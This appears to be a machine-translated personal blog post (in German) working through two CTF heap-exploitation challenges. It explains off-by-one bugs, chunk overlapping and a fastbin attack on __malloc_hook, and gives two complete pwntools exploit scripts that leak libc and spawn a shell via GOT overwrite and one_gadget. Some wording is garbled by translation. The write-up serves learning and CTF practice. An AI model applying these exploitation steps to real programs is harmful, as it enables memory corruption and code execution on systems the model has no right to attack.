2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Die Grundlagen von pwn sind immer noch sehr oberflächlich. Ich zeichne nur einige meiner Lernerfahrungen auf.
Im Verlauf der Studie werden weitere Wissenspunkte und Fragen hinzugefügt.
Zusammenfassung des Lernens über off von null |
Chunk-Erweiterung und Überlappung | ctfwiki
Eng verwandt mit Off-by-One ist die oben erwähnte Chunk Extend und Overlapping.
Dies wird oft als „überlappende Blöcke“ bezeichnet.
Warum überlappende Blöcke erstellen?
Wenn wir beispielsweise das Header-Feld eines Blocks, also die Segmente prev_size und size, neu schreiben möchten, können wir es definitiv nicht durch direkte Anwendung ändern.
Eine Idee besteht darin, einen falsch platzierten Chunk zu erstellen. Durch Ändern des Größenbits enthält der Benutzerdatenteil eines großen Chunks den Header des kleinen Chunks, den wir ändern möchten.
Ich denke, diese Frage ist ein gutes Beispiel dafür, wie man Off-by-One verwendet. Die Fragen sind nicht sehr schwierig und die Einsatzmöglichkeiten recht clever.
Dekompilieren, um Lücken zu finden,
Hier gibt es ein künstliches Off-by-One, und hier kann ein weiteres Byte geschrieben werden.
Zurück zur Themenvergabe,
Zuerst wird ein Block der Größe 0x10 zum Speichern einiger Informationen zugewiesen, und dann wird ein Block für den Inhalt zugewiesen.
Es wird sehr deutlich, wenn Sie sich das GDB-Debugging hier ansehen.
Zum Beispiel das Heap-Blocklayout, nachdem ich (0x28,'0'),add(0x10,'1') hinzugefügt habe.
Sie können sehen, dass wir jedes Mal, wenn wir etwas hinzufügen, zuerst einen Block mallocieren, der Heap-Blockinformationen an einer niedrigen Adresse speichert, und dann einen Block mallocieren, der Inhalte speichert.
Dann ist mir aufgefallen, dass die Vorgänge „Bearbeiten“ und „Anzeigen“ alle abgeschlossen sindInformationen zum Heap-BlockStruktur auf „indexieren“. Wenn wir dann libc auslaufen lassen möchten, können wir die Heap-Blockinformationen dieses Blocks einfügen *content
Das Feld wird in die Adresse der got-Tabelle einer bestimmten Funktion geändert. Wenn in dieser Frage beispielsweise atoi verwendet wird, wird atoi_addr während der Anzeige ausgedruckt.
Dies beinhaltet eine ähnliche Situation im vorherigen „Kleinen Verständnis“. Wir können den Inhalt des Blocks, der „die Heap-Block-Informationen speichert“, nicht direkt ändern, sodass wir die Erweiterung des Heap-Blocks geschickter verwenden können .
Wenn wir es beispielsweise auf diese Weise ändern, kann dies tatsächlich zu einer Erweiterung und Überlappung der Heap-Blöcke führen.
Lassen Sie uns weiter unten über die konkrete Nutzung sprechen.
Sowohl der Informations-Heap-Block als auch der Inhalts-Heap-Block sind frei, daher gibt es derzeit in den Fastbins zwei Bins der Größe 0x20 und 0x40.
Natürlich gibt es einige Details, wie die zuletzt erwähnte Größenauswahl von 0x18 und 0x28 und die Notwendigkeit, den Inhalt des Informationsstapels beim Ändern zu reservieren.GrößeFelder (andernfalls reicht die endgültige Bearbeitung nicht aus, um sie für Sie zu schreiben) und so weiter.
Erw.:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
Es gibt tatsächlich noch einen weiteren wichtigen Punkt zu dieser Frage, und dieser Punkt war auch der Punkt, der mich zunächst verwirrte. Die anfängliche Chunk0-Hinzufügung von Master ZIKHs EXP ist 0x18. In meiner eigenen Praxis hat die Änderung auf 0x10 oder 0x20 nicht funktioniert, aber die Änderung auf 0x28 hat funktioniert.
Beim Debuggen wurde festgestellt, dass unsere Benutzerdaten bei einer Änderung auf 0x10, 0x20 den nächsten Block nicht aktivieren.vorherige_Größevon.
Bei der Zuweisung von 0x18, 0x28 usw. verwendet der ptmalloc2-Mechanismus das prev_size-Segment von next_chunk wieder.
emmm, letzten Endes kenne ich mich mit Heap immer noch nicht gut genug aus. Wenn man sich nur die Wiki-Erklärung ansieht, gibt es schließlich so viele Wissenspunkte und die Details sind kompliziert, was es schwierig macht, sich daran zu erinnern. Natürlich bin ich im tatsächlichen Kampf darauf gestoßen. Nachdem ich es selbst debuggt und wieder verstanden habe, wird es viel besser.
Der Fehler in der Frage liegt hier.
Wenn a2-a1==10 im if steht, das heißt, wenn die durch Bearbeiten eingegebene Größe genau 10 größer ist als die hinzugefügte Größe, liegt ein Off-by-One vor.
Ungefähre Allokationsstruktur
Oder verwenden Sie das BSS-Segment, um die Nutzung und Nutzung des Blocks zu speichern.*content
Wir können weiterhin Off-by-One in Kombination mit den Merkmalen der Größe 0x?8 verwenden, prev_size wiederverwenden, um prev_size zu fälschen, und size, um eine Vorwärtszusammenführung (niedrige Adresse) auszulösen
Zu diesem Zeitpunkt können Sie sehen, dass die Zusammenführung durch free(2) ausgelöst wird.
Wenn wir zu diesem Zeitpunkt (0x80) hinzufügen und dann (1) anzeigen, können wir tatsächlich den Wert von main_arena + 88 ausdrucken.
Mein Verständnis ist: Das Hinzufügen (0x80) dient hier dazu, den unsortierten Bin aufzuteilen, sodass der fd-Zeiger (main_arena + 88) auf das Segment chunk1 verschoben wird, das angezeigt werden kann.
Zu diesem Zeitpunkt ist die Basisadresse von libc durchgesickert.
Die folgenden Vorgänge scheinen viele überlappende Heap-Blöcke zu beinhalten, also werfen wir einen Blick auf das schrittweise Debuggen.
Heap-Layout beim Lecken von libc
add(0x68)
(Schneiden Sie ein Stück aus der unsortierten Tonne ab)
free(1)
(Fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Hier machen wir uns die Tatsache zunutze, dass sich der im vorherigen Schritt beantragte Chunk2 von 0x68 mit dem gerade freigegebenen Chunk1 überschneidet (chunk1 wurde zu Beginn beantragt))
add(0x68)
(Bewerben Sie sich für Chunk1, es ist eigentlich Chunk2)
add(0x68)
(Anwenden, um den fake_chunk bei malloc_hook-0x23 zurückzugeben)
Dann müssen Sie Realloc verwenden, um den Stapelrahmen anzupassen, und Sie können die Shell erhalten.
Dann komme ich zwar lokal durch, aber nicht aus der Ferne.
Nachdem ich mir Master ZIKHs Exp angesehen habe, muss ich das Lokale verwenden
realloc = libcbase + libc.sym['realloc']
Ändernrealloc = libcbase + 0x846c0
Dann müssen Sie den Wert von one_gadget ändern
Diese beiden one_gadgets haben einen Offset. Ich weiß im Moment nicht, warum. Vielleicht hat es etwas mit der Anpassung des Stapelrahmens zu tun. (Später erfahren)
Lokale Erfahrung spielen:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
lokal:
Aus der Ferne:
Zusammenfassend ist es schwierig.